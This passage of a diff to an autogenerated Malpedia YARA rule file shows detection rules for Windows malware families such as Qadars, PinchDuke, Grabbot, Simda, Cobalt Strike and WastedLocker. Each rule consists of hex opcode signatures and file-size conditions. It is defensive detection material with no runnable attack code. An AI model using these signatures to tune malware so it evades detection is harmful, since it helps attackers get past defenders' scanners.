"TLP:WHITE" strings: - $sequence_0 = { 8bcf e8???????? 83c404 85c0 0f84a8010000 0f31 52 } - $sequence_1 = { 0fb6c0 894dec 8bcb c1e918 8b0485e0bb4500 33048de0bf4500 894510 } - $sequence_2 = { c6853bf5ffff00 c6853cf5ffffff c6853df5ffff25 c6853ef5ffff30 c6853ff5ffff20 c68540f5ffff40 c68541f5ffff00 } - $sequence_3 = { c6858ddaffff33 c6858edaffff00 c6858fdaffff00 c68590daffff00 c68591daffff00 c68592daffff00 c68593daffff00 } - $sequence_4 = { c68565f2ffff00 c68566f2ffff85 c68567f2ffffc0 c68568f2ffff74 c68569f2ffff3a c6856af2ffff81 c6856bf2ffff7d } - $sequence_5 = { 7416 8b85ccc0ffff 50 6a00 ff15???????? } - $sequence_6 = { 8b0495b8d34600 f644082801 7421 57 e8???????? 59 50 } - $sequence_7 = { c685abfdffff00 c685acfdffff00 c685adfdffff00 c685aefdffff00 c685affdffff00 c685b0fdffff00 c685b1fdffff00 } - $sequence_8 = { 3934bdb8d34600 7531 e8???????? 8904bdb8d34600 85c0 7514 6a0c } - $sequence_9 = { c685d3c8ffff05 c685d4c8ffff00 c685d5c8ffff00 c685d6c8ffff00 c685d7c8ffffe8 c685d8c8ffff48 c685d9c8ffff0f } + $sequence_0 = { 52 8d4dc0 e8???????? 68???????? c645fc01 e8???????? } + $sequence_1 = { 6a1f 68???????? c745d40f000000 c745d000000000 c645c000 e8???????? c645fc01 } + $sequence_2 = { 0f8259ffffff 8d4de4 e8???????? 8bc6 8b4df4 64890d00000000 59 } + $sequence_3 = { 75f9 2bca 51 53 8d4dd0 e8???????? } + $sequence_4 = { 0f45c2 50 e8???????? 8bfb } + $sequence_5 = { 68???????? 8d8de4f1ffff c785f8f1ffff0f000000 c785f4f1ffff00000000 c685e4f1ffff00 e8???????? } + $sequence_6 = { c785b8efffff0f000000 c785b4efffff00000000 c685a4efffff00 e8???????? 8d8dbcefffff } + $sequence_7 = { 0f8483000000 c1e706 03f8 83c106 894ddc 7869 8bc7 } + $sequence_8 = { 68???????? 8d8d24f1ffff c78538f1ffff0f000000 c78534f1ffff00000000 } + $sequence_9 = { a1???????? 33c5 50 8d45f4 64a300000000 c745ec00000000 83ec18 } condition: - 7 of them and filesize < 966656 + 7 of them and filesize < 827392 } -rule MALPEDIA_Win_Bert_Auto : FILE +rule MALPEDIA_Win_Qadars_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "92a36b55-e0d9-554d-851b-77dda3f7bbeb" + id = "db370ffd-dc25-54ab-be3c-753161f66e40" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bert" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bert_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qadars" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.qadars_auto.yar#L1-L168" license_url = "N/A" - logic_hash = "a6e868967ddeea2e01bd4f16c21024fbdee2d69c00cbdbbbdfda193aebc93a0a" + logic_hash = "b7f3cdd5f9bd5d75d1b4c3d8620e10078807a9df5c67d92510598cbd69ac717d" score = 75 quality = 75 tags = "FILE" @@ -115829,32 +115756,38 @@ rule MALPEDIA_Win_Bert_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffd0 488945e8 488b45e8 488945e0 } - $sequence_1 = { 0fb74006 0fb7c0 3945f4 0f8c5efeffff 488b45b8 } - $sequence_2 = { e8???????? 488945f8 488b45f8 4889c1 e8???????? 488945c8 } - $sequence_3 = { 488b8558ffffff 4889c1 488b05???????? ffd0 } - $sequence_4 = { c745f000000000 e9???????? 8b45f0 4863d0 4889d0 48c1e002 } - $sequence_5 = { 48898570ffffff 8b45d0 4863d0 4889d0 48c1e002 4801d0 } - $sequence_6 = { 4883ec10 48894d10 48895518 488b4510 488945f8 488b4518 } - $sequence_7 = { 488945d8 488b45d8 480508010000 488945d0 48c745f800000000 } - $sequence_8 = { 4801d0 8b4008 89c1 488d9524ffffff } - $sequence_9 = { 48c1e810 0fb7c0 4801c2 488b8578ffffff 488910 eb21 488b8578ffffff } + $sequence_0 = { 85c0 7410 8d642400 8b0b 48 c7048100000000 75f4 } + $sequence_1 = { 8910 8b4510 85c0 7406 c700???????? 8b4514 } + $sequence_2 = { 56 8d4dcc e8???????? 8d4dcc e8???????? 8bc6 5e } + $sequence_3 = { 8b4dec 39590c 7405 ff490c eb25 8b4104 3bc3 } + $sequence_4 = { 6a04 8d550c 52 8d443801 } + $sequence_5 = { 8945fc 8b45e8 6a10 8945f8 e8???????? 83c404 } + $sequence_6 = { 8b4510 8b08 51 52 8d4df0 897704 8975f4 } + $sequence_7 = { 8b00 50 e8???????? 8b45fc 50 e8???????? 83c408 } + $sequence_8 = { 6a00 8d4df4 51 6a04 8d55f8 } + $sequence_9 = { 83c40c 6805010000 8d8df8feffff 51 } + $sequence_10 = { 6a01 8b55fc 52 ff15???????? 83c408 } + $sequence_11 = { 6a01 6a08 ff15???????? 83c408 } + $sequence_12 = { 51 8b55f0 52 ff15???????? 83c40c } + $sequence_13 = { 50 8d8d98fcffff 51 e8???????? } + $sequence_14 = { 8945fc 6a02 8b85d4fdffff 50 } + $sequence_15 = { 750b 68???????? ff15???????? 6a00 } condition: - 7 of them and filesize < 50176 + 7 of them and filesize < 630784 } -rule MALPEDIA_Win_Wastedlocker_Auto : FILE +rule MALPEDIA_Win_Roopirs_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1b25ab78-4d17-5567-bfe5-7c9cd4852d3a" + id = "48848479-790a-5ff7-91e3-208639c13d18" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedlocker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wastedlocker_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roopirs" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.roopirs_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "2c12d9ce655c1e066154e40493d5fbd7e9ce57fd1e7f44c9306209ae45654264" + logic_hash = "81aa2556d7e68cc4aaa84172c724098a8fdf541552ef6b7b19cd3ea7889cf5e4" score = 75 quality = 75 tags = "FILE" @@ -115868,32 +115801,71 @@ rule MALPEDIA_Win_Wastedlocker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a2a e8???????? 8b45fc 8b30 } - $sequence_1 = { 5b 7504 8365fc00 8b4508 ff30 ff15???????? 8b45fc } - $sequence_2 = { 8bc7 351ec34eee 50 53 e8???????? } - $sequence_3 = { ff15???????? 85c0 740f 6a02 57 ff15???????? } - $sequence_4 = { 51 8935???????? 8935???????? a3???????? a3???????? } - $sequence_5 = { e8???????? 8d85d0f3ffff 50 56 8d85b8edffff 50 8d85b0ebffff } - $sequence_6 = { 8918 33f6 eb26 ff15???????? 53 6a00 ff35???????? } - $sequence_7 = { 03c7 13cb a3???????? 0bc1 890d???????? 0f8456010000 8b4dfc } - $sequence_8 = { ff7508 e8???????? 2b4d08 8bf0 03f1 eb02 8bf1 } - $sequence_9 = { ff750c 6a00 ff35???????? ff15???????? 8b45f0 5f 5e } + $sequence_0 = { 51 ff15???????? 50 8d55d0 52 ff15???????? 8d4dc8 } + $sequence_1 = { 7433 c745fc3e000000 8b4dd8 51 68???????? } + $sequence_2 = { ff15???????? 898544ffffff e9???????? c745fc07000000 8d5584 52 8b45dc } + $sequence_3 = { 8d45b8 50 ff15???????? 8bd0 8d4dd0 } + $sequence_4 = { 51 8b5508 8b4234 8b4d08 8b5134 8b0a 50 } + $sequence_5 = { 8d4dcc ff15???????? c745fc0d000000 6aff ff15???????? c745fc0e000000 } + $sequence_6 = { 8d4db8 ff15???????? 0fbf55b0 85d2 7433 c745fc2f000000 } + $sequence_7 = { 52 8b45b0 50 ff15???????? 898570ffffff eb0a c78570ffffff00000000 } + $sequence_8 = { ff15???????? 8d4db8 ff15???????? c745fc16000000 8b55d8 } + $sequence_9 = { 8b550c 8d4dd8 ff15???????? c745fc02000000 6a01 8b45d8 50 } + + condition: + 7 of them and filesize < 344064 +} +rule MALPEDIA_Win_Mykings_Spreader_Auto : FILE +{ + meta: + description = "autogenerated rule brought to you by yara-signator" + author = "Felix Bilstein - yara-signator at cocacoding dot com" + id = "96a12e80-b15f-580e-920d-d6c0d35464b0" + date = "2023-12-06" + modified = "2023-12-08" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mykings_spreader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mykings_spreader_auto.yar#L1-L132" + license_url = "N/A" + logic_hash = "1bcd674173fea4b83a2f4219e8f61306a972490f94a89cfaf5e1f466fdec8eff" + score = 75 + quality = 75 + tags = "FILE" + version = "1" + tool = "yara-signator v0.6.0" + signator_config = "callsandjumps;datarefs;binvalue" + malpedia_rule_date = "20231130" + malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351" + malpedia_version = "20230808" + malpedia_license = "CC BY-SA 4.0" + malpedia_sharing = "TLP:WHITE" + + strings: + $sequence_0 = { 7519 51 55 8bce e8???????? 6a00 6a00 } + $sequence_1 = { 8b1e ff938c000000 8b0424 8b5014 85d2 7507 bf00000000 } + $sequence_2 = { e8???????? 837e1800 7439 8b4620 c1e003 89c7 8b4618 } + $sequence_3 = { 89c1 c745f401000000 3b4df4 723d ff4df4 8d7600 ff45f4 } + $sequence_4 = { 68???????? 50 ff15???????? a3???????? 83c0fe 40 40 } + $sequence_5 = { 8942fc 89d8 c1f81f 8b1424 8b7208 8b4a0c 29de } + $sequence_6 = { eb02 b300 e8???????? 8d45cc e8???????? c745cc00000000 58 } + $sequence_7 = { 33d2 b9???????? 8bc2 8bf2 c1f805 83e61f 8b0485a02e4100 } + $sequence_8 = { 89d8 29f0 85c0 7e39 8b55f4 85d2 7505 } + $sequence_9 = { 8b7508 8b36 8975c8 8b7d08 8b7f04 } condition: - 7 of them and filesize < 147456 + 7 of them and filesize < 1581056 } -rule MALPEDIA_Win_Magala_Auto : FILE +rule MALPEDIA_Win_Pinchduke_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7d1b8c98-54ed-55c3-acdc-c42ca1617fa1" + id = "e6e399a5-546d-5d19-a886-28527d9b5a32" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.magala" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.magala_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pinchduke" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pinchduke_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "3f293fe262d0ce646006496753cf31d4b0409f545d9ecd746ba425bd758b2984" + logic_hash = "e4ca655f5577580240493398d3de5b1f8ec351f42cf4a56b66853235bb7ac675" score = 75 quality = 75 tags = "FILE" @@ -115907,32 +115879,32 @@ rule MALPEDIA_Win_Magala_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 57 8d0451 e9???????? 8b4614 3bf7 746d } - $sequence_1 = { c745ec07000000 668945d8 e8???????? 837dec08 8d4dc4 6a04 51 } - $sequence_2 = { 50 8d8dd0fdffff e8???????? 6a1f 68???????? } - $sequence_3 = { 8da5f4feffff 8b4df4 64890d00000000 59 5f } - $sequence_4 = { 83bd8cfdffff00 7435 51 8d8d94fdffff e8???????? } - $sequence_5 = { e8???????? 83c404 ffd6 2bc7 3de0930400 76cf 68???????? } - $sequence_6 = { 56 8bf1 8b4e10 3bca 0f8214020000 8b450c 53 } - $sequence_7 = { c745c000000000 8b08 50 ff5108 8b45b8 8d55c0 } - $sequence_8 = { 6a00 8bcf e8???????? 8b4db4 85c9 7444 ff75b0 } - $sequence_9 = { 85db 744e 8bcb 8d5101 6690 8a01 } + $sequence_0 = { 83c40c 83c610 4f 75c3 e9???????? 8d45f0 50 } + $sequence_1 = { c6400274 e8???????? 56 e8???????? 59 59 89442414 } + $sequence_2 = { e8???????? 59 59 8d8df8fdffff 3bc1 7545 } + $sequence_3 = { c685f7fbffff00 e8???????? 8d85f4fbffff 50 e8???????? 83c414 84c0 } + $sequence_4 = { 68???????? 50 e8???????? 3bc7 59 59 740f } + $sequence_5 = { 334dcc 8d943a9979825a 8b7df4 d1c1 8955f0 c1c205 337df8 } + $sequence_6 = { c9 c3 833d????????00 752f 833d????????00 } + $sequence_7 = { 898618040000 6a08 50 ff15???????? 898608010000 5f 8bc6 } + $sequence_8 = { 03f9 037df0 8908 8b4824 334804 8975fc 334838 } + $sequence_9 = { 53 e8???????? 59 85ff 7472 c60700 e9???????? } condition: - 7 of them and filesize < 589824 + 7 of them and filesize < 223680 } -rule MALPEDIA_Win_Xpertrat_Auto : FILE +rule MALPEDIA_Win_Rarstar_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a2a3325a-1f3d-5b66-85b8-5585a72bc5f8" + id = "9ce52f31-509a-51ae-aa52-a887d95b1b86" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpertrat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xpertrat_auto.yar#L1-L155" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rarstar" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rarstar_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "aded1ec389d65d20277f2fe9db776abf2f31c80bf4b4d804698ab1524e2b5a6d" + logic_hash = "d80756ef2e17ab1b1759226b804a9ad7a0323babf981d01e1610768c38e321da" score = 75 quality = 75 tags = "FILE" @@ -115946,38 +115918,32 @@ rule MALPEDIA_Win_Xpertrat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff08 40 0430 ff0a 4c 000c00 } - $sequence_1 = { 045c ff4d40 ff08 40 } - $sequence_2 = { 006c70ff 0808 008f38001b26 001b 0d002a2364 ff08 } - $sequence_3 = { 0870ff 0d80000700 0474 ff0478 } - $sequence_4 = { 0808 008a3800cc1c 5e 006c70ff 0808 008f38001b26 } - $sequence_5 = { ff05???????? 000d???????? 0878ff 0d98000700 6e } - $sequence_6 = { 6c 70ff 0808 008a3800cc1c } - $sequence_7 = { ff0a 250004003c 6c 70ff } - $sequence_8 = { ff15???????? 81c480000000 8d55c0 52 ff15???????? 8d4588 } - $sequence_9 = { ff15???????? 81c6a4000000 50 56 } - $sequence_10 = { ff15???????? 81e600020000 33c9 81fe00020000 } - $sequence_11 = { ff15???????? 81c608030000 8d45e8 56 } - $sequence_12 = { ff15???????? 81c608030000 8d8568ffffff 56 } - $sequence_13 = { ff15???????? 81e600200000 33d2 81fe00200000 } - $sequence_14 = { ff15???????? 81c480000000 8d8df8fcffff 51 } - $sequence_15 = { ff15???????? 833d????????00 7505 dc7dc0 } + $sequence_0 = { 89742410 33ed ff15???????? 8b542418 8b3d???????? 52 89442430 } + $sequence_1 = { eb26 8d4508 8db664c54000 6a00 50 ff36 } + $sequence_2 = { f7d1 2bf9 899c2430030000 8bc1 8bf7 8bfa 899c242c030000 } + $sequence_3 = { 8bc6 5e c20400 81ec24030000 53 } + $sequence_4 = { 8b0485c0d94000 03c6 8a5004 f6c201 0f849e010000 } + $sequence_5 = { 33db 8a940c20010000 8a5c0c20 03c2 03c3 25ff000080 7907 } + $sequence_6 = { 81e200008000 52 6a00 6a00 } + $sequence_7 = { 899c242c030000 899c2428030000 899c2424030000 899c2420030000 bf???????? 83c9ff } + $sequence_8 = { 7405 be01000000 8b442418 57 } + $sequence_9 = { 0f8412010000 85f6 779a 8b5c241c 6a00 } condition: - 7 of them and filesize < 8560640 + 7 of them and filesize < 122880 } -rule MALPEDIA_Win_Play_Auto : FILE +rule MALPEDIA_Win_Flying_Dutchman_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fb8bcd82-2890-51e9-aef7-15cdb7334359" + id = "3fa79262-0c02-5cc9-a3a6-873095c530cc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.play" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.play_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flying_dutchman" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flying_dutchman_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "98ed430384a69d155a8a3b8add1f6db92e55c318ad1d4defbfbdd225c9837ee9" + logic_hash = "d533074e01136dd41c79c95680e27071c66cb57e7811b397b8be14c8164a2230" score = 75 quality = 75 tags = "FILE" @@ -115991,32 +115957,32 @@ rule MALPEDIA_Win_Play_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c9 7ff1 eb1d 8d85b1feffff 03c1 50 } - $sequence_1 = { 0f1005???????? 8945ac b854040000 6689856cffffff b8e0690000 0f114588 052496ffff } - $sequence_2 = { 898518feffff b879180000 0f118594feffff 898534ffffff f30f7e05???????? a1???????? 660fd68500ffffff } - $sequence_3 = { 02c0 02c2 888596feffff b9???????? e8???????? 8a85acfeffff } - $sequence_4 = { 8a857cfcffff fec0 c745e43d000000 0245fd 8845ff 888521ffffff b83e000000 } - $sequence_5 = { bbb410624c 8b0d???????? e8???????? 6aff ff75e8 ffd0 } - $sequence_6 = { e8???????? 33d2 8b4df4 f7f6 8bc2 8945e4 } - $sequence_7 = { 8955f8 894dfc e8???????? 8b0d???????? 33d2 } - $sequence_8 = { 889591feffff 888dc9feffff 888d81feffff b920000000 c60000 } - $sequence_9 = { e8???????? 2467 0fa1 ee d5d8 e9???????? 8c9f381b40b1 } + $sequence_0 = { 899c2480400000 897c2418 3bc7 7d42 8b5c2410 e8???????? 8b5c2414 } + $sequence_1 = { 8b5104 895008 8b09 894804 833801 } + $sequence_2 = { 83a588fdffff00 899d8cfdffff c68578fdffff00 c645fc05 ff15???????? 50 8d85e8fdffff } + $sequence_3 = { 8b8574f7ffff 8985c0fdffff 8b8578f7ffff 8985c4fdffff 6804010000 8d858cf9ffff 50 } + $sequence_4 = { 83e800 747a 48 7459 48 0f858c000000 8b3d???????? } + $sequence_5 = { ff7508 e8???????? 8bd8 53 57 } + $sequence_6 = { 75f2 8b35???????? 57 57 ffd6 898570ffffff 3bc7 } + $sequence_7 = { 663bcf 75ed e9???????? 83f806 751a 33c0 } + $sequence_8 = { c1e606 03348560e90110 c745e401000000 33db 395e08 } + $sequence_9 = { 3bf3 7405 e8???????? 6a05 ff15???????? 399d68deffff } condition: - 7 of them and filesize < 389120 + 7 of them and filesize < 276480 } -rule MALPEDIA_Win_Shady_Hammock_Auto : FILE +rule MALPEDIA_Win_Grabbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "dffdbcb2-bd98-5c78-b119-218bf0b8f1f8" + id = "73c12bd4-295c-5729-9e60-823ca8abaa15" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shady_hammock" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shady_hammock_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grabbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grabbot_auto.yar#L1-L168" license_url = "N/A" - logic_hash = "eb81523b23e33f9ac426471f12cb50726588d21942b2b73e8ff2883c6fa0b314" + logic_hash = "c79f2285c80f8ba1c50729904e8ec53f7fa2031a70a10d12a2683fdce4ed7a23" score = 75 quality = 75 tags = "FILE" @@ -116030,32 +115996,38 @@ rule MALPEDIA_Win_Shady_Hammock_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7203 488b01 488d0c10 488bfe 492bf9 4c8bc7 } - $sequence_1 = { 488bcd e8???????? 498d5701 41c6042c00 4881fa00100000 7218 } - $sequence_2 = { e8???????? 4c8b5368 488d4d2f 48837d4710 0f93c2 480f434d2f 4c8b4d3f } - $sequence_3 = { 3bc7 0f843e010000 0fb6f8 e9???????? 0f57c0 } - $sequence_4 = { 7453 488b5318 4883fa10 7205 488b0b } - $sequence_5 = { 0bc1 89442408 0fae542408 c3 488bc4 53 } - $sequence_6 = { 747e 8b82b0000000 4803c8 4903c9 4a8d1408 } - $sequence_7 = { 4883781810 7203 488b00 41b80a000000 488bd0 488bcf e8???????? } - $sequence_8 = { eb2c 498bcf 488bc3 48d1e9 } - $sequence_9 = { 48895c2408 4889742410 48897c2418 488bd9 4c8bc9 482b5a30 } + $sequence_0 = { 83f85a 770b 83f841 7206 83c020 0fb7c0 83c202 } + $sequence_1 = { 83f85a 770d 83f841 7208 83c020 } + $sequence_2 = { 50 6a04 ff75e8 ff75dc } + $sequence_3 = { 813850450000 7523 0fb75004 bb64860000 663bd3 7506 } + $sequence_4 = { b905000000 3907 7707 83c704 e2f7 } + $sequence_5 = { 663907 7566 8b473c 03c7 813850450000 } + $sequence_6 = { c3 68d0035c09 e8???????? 50 e8???????? ffe0 } + $sequence_7 = { e8???????? 59 81c480000000 50 8bf1 e8???????? e8???????? } + $sequence_8 = { 56 ffd0 33c9 66894c37fe } + $sequence_9 = { 7428 8b0d???????? 8908 8b0d???????? 894804 8b0d???????? } + $sequence_10 = { 894808 8b0d???????? 89480c e9???????? 33c0 } + $sequence_11 = { 8d45f0 99 52 50 8b451c 99 } + $sequence_12 = { 57 8d7c000c 57 e8???????? } + $sequence_13 = { e8???????? 85c0 56 0f9fc3 e8???????? 83c414 } + $sequence_14 = { 50 ff15???????? a3???????? 85c0 7505 83c8ff } + $sequence_15 = { 8bf0 85f6 741d 8d4601 } condition: - 7 of them and filesize < 635904 + 7 of them and filesize < 1335296 } -rule MALPEDIA_Win_Darktequila_Auto : FILE +rule MALPEDIA_Win_Simda_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8b84bd16-ca3f-5431-937c-08f7f5b85ab2" + id = "27bb9bc3-3123-59db-b496-71430a74b58c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darktequila" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darktequila_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.simda" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.simda_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "33ae748771a6cb26fc0c416897ca1e808c4fe1a22bddffab51a85bc073a3f977" + logic_hash = "e9f68a5c932750dc8dc15c371abf1fcbed20271ad653ffccba6ba46621ea82a8" score = 75 quality = 75 tags = "FILE" @@ -116069,34 +116041,34 @@ rule MALPEDIA_Win_Darktequila_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { a1???????? 894604 8bc6 5e c3 8bff } - $sequence_1 = { 33c5 8945fc 33c0 53 8bd9 33c9 } - $sequence_2 = { 83c00d b901000000 ba???????? e8???????? } - $sequence_3 = { 894df8 e8???????? 83c410 8bf3 e8???????? } - $sequence_4 = { 40 83f838 72dc b8???????? c3 33d2 3915???????? } - $sequence_5 = { 83f818 72dc b8???????? c3 } - $sequence_6 = { 85c0 7466 8b4b0c 8b5310 } - $sequence_7 = { 884ddf 8945e0 8945e4 8945e8 8945ec } - $sequence_8 = { 4a 7419 83ea02 753c 8b4508 } - $sequence_9 = { e8???????? 85c0 742e a1???????? 8d5001 } + $sequence_0 = { 8955ec 897de0 3bce 0f8278feffff 5b } + $sequence_1 = { 83c424 33c0 668945d0 8845fe } + $sequence_2 = { 8b85e8feffff 85c0 7505 8d41ff eb0f 83f801 } + $sequence_3 = { 33f6 68ff000000 8d85f1feffff 56 50 } + $sequence_4 = { 83ec24 53 56 57 50 6800040000 } + $sequence_5 = { 83c408 8945f0 85c0 7508 6a01 } + $sequence_6 = { 8bf8 0faf7dfc c1e210 0b55f8 3bfa } + $sequence_7 = { b910000000 be???????? 8d7db4 f3a5 66a5 } + $sequence_8 = { 8bd1 c1ea10 8955ec 8bf8 } + $sequence_9 = { 85c0 75dd 8b4d0c 8bc3 2bc2 } condition: - 7 of them and filesize < 1827840 + 7 of them and filesize < 1581056 } -rule MALPEDIA_Win_Cobalt_Strike_Auto : FILE +rule MALPEDIA_Win_Tmanger_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "aab8f287-0819-52fa-8447-761ad2e94a18" + id = "790b1a6e-9331-5562-a8a4-895a06f4f290" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cobalt_strike_auto.yar#L1-L289" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tmanger" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tmanger_auto.yar#L1-L110" license_url = "N/A" - logic_hash = "6946d3d1b89ab18cd12b0ef58b50d5d28d283228462e1be6da78da0efd49ddbb" + logic_hash = "747dcecd7ac42c73ae2cafbcc412928abf59ab04c5fc33f549cfda9aa11d6334" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -116108,54 +116080,32 @@ rule MALPEDIA_Win_Cobalt_Strike_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3bc7 750d ff15???????? 3d33270000 } - $sequence_1 = { e9???????? eb0a b801000000 e9???????? } - $sequence_2 = { ff15???????? 85c0 741d ff15???????? 85c0 7513 } - $sequence_3 = { ff7608 83660400 e8???????? 59 } - $sequence_4 = { ff15???????? 59 a807 7501 4e } - $sequence_5 = { ff75f8 ff75fc ff15???????? 83c40c eb15 ff75fc } - $sequence_6 = { ff7604 ff75fc ff15???????? 83c410 } - $sequence_7 = { ff15???????? 59 c70601000000 e9???????? } - $sequence_8 = { ff7604 e8???????? 014604 83c410 014608 } - $sequence_9 = { 85c0 7405 e8???????? 8b0d???????? 85c9 } - $sequence_10 = { e9???????? 833d????????01 7505 e8???????? } - $sequence_11 = { 8bd0 e8???????? 85c0 7e0e } - $sequence_12 = { f7d8 1bc9 4423f9 488d4ddf e8???????? } - $sequence_13 = { c1ef03 8bc7 ffc0 81ff80000000 720b eb05 } - $sequence_14 = { 488bd7 488bcf e8???????? 85c0 7569 498bcf } - $sequence_15 = { 83f801 750e e8???????? 4c8d2dca1e0000 eb16 e8???????? 8bd8 } - $sequence_16 = { 7409 c745f040000000 eb07 c745f004000000 } - $sequence_17 = { 52 8b4508 8b08 ffd1 85c0 } - $sequence_18 = { 837d0c00 7422 837d1000 761c 837d1404 } - $sequence_19 = { 6a20 8b4d10 51 8b550c 52 } - $sequence_20 = { 8b5514 52 8b450c 8b4850 } - $sequence_21 = { 56 57 8b4510 8b4850 } - $sequence_22 = { 8b4510 8b4850 8b550c 8d440ac0 } - $sequence_23 = { b940000000 f3aa 5f 5e } - $sequence_24 = { 488b842490000000 8b4050 488b8c2488000000 488d4401c0 } - $sequence_25 = { c644246856 c644246969 c644246a72 c644246b74 c644246c75 } - $sequence_26 = { 4889442418 48837c242800 0f8496010000 488b0424 0fb700 66c1e80c } - $sequence_27 = { 4803c8 488bc1 4889442408 488b442410 8b4004 4883e808 33d2 } - $sequence_28 = { 488bc1 4889442450 488b442450 4883c002 488b7c2420 } - $sequence_29 = { 488b842490000000 ff5008 488b8c2490000000 48894110 488d542458 488b4c2420 } - $sequence_30 = { 488b0c24 0fb709 6623c8 0fb7c1 0fb7c0 488b4c2408 488b0401 } - $sequence_31 = { c644247600 488d4c2428 488b842490000000 ff10 4889442420 } + $sequence_0 = { c74161d47bdb0f c741651f013f62 c74169388b8e92 c7416d9b14f6a0 } + $sequence_1 = { c7416d9b14f6a0 c7417180fcd6bb c74175d7401d36 c7417958fffa19 } + $sequence_2 = { c7412425d933d1 c7412861fdc72a c7412cdf9134d2 c74130324d251d } + $sequence_3 = { c7415d382cd7bd c74161d47bdb0f c741651f013f62 c74169388b8e92 } + $sequence_4 = { c741651f013f62 c74169388b8e92 c7416d9b14f6a0 c7417180fcd6bb c74175d7401d36 } + $sequence_5 = { c741594d68b93a c7415d382cd7bd c74161d47bdb0f c741651f013f62 c74169388b8e92 c7416d9b14f6a0 